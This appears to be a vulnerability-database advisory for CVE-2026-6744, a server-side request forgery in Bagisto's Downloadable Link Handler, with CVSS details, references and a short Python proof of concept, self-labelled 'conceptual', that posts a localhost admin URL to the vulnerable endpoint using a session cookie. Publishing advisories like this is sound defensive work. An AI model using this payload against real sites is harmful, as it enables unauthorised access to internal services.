CVE-2026-6744

Description

A vulnerability was found in Bagisto up to 2.3.15. Affected is the function copy of the component Downloadable Link Handler. The manipulation results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure and explains: "We already replied on the github advisories. All the security issues are addressed through security advisory. We will fix this in our upcomming releases."

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Bagisto <= 2.3.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept (Conceptual)
# This script demonstrates how an attacker might trigger the SSRF.
# It requires a valid session cookie (PR:L).

import requests

target_url = "http://target-bagisto-site.com/customer/downloadable-link/copy"
headers = {
    "Cookie": "laravel_session=...;" # Replace with valid session
}

# Malicious payload targeting localhost (Example)
payload = {
    "url": "http://127.0.0.1:8080/admin"
}

try:
    response = requests.post(target_url, headers=headers, data=payload)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check server logs for internal connection.")
    else:
        print(f"[-] Unexpected status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6744
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6744
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6744/
[4] VulDB https://vuldb.com/cve/CVE-2026-6744
[5] https://drive.google.com/file/d/1pVSN3BYjI_rUE2Jms5EcIBGSMdrq6Wql/view?usp=sharing
[6] https://vuldb.com/submit/794680
[7] https://vuldb.com/vuln/358435
[8] https://vuldb.com/vuln/358435/cti

Raw JSON Data

JSON

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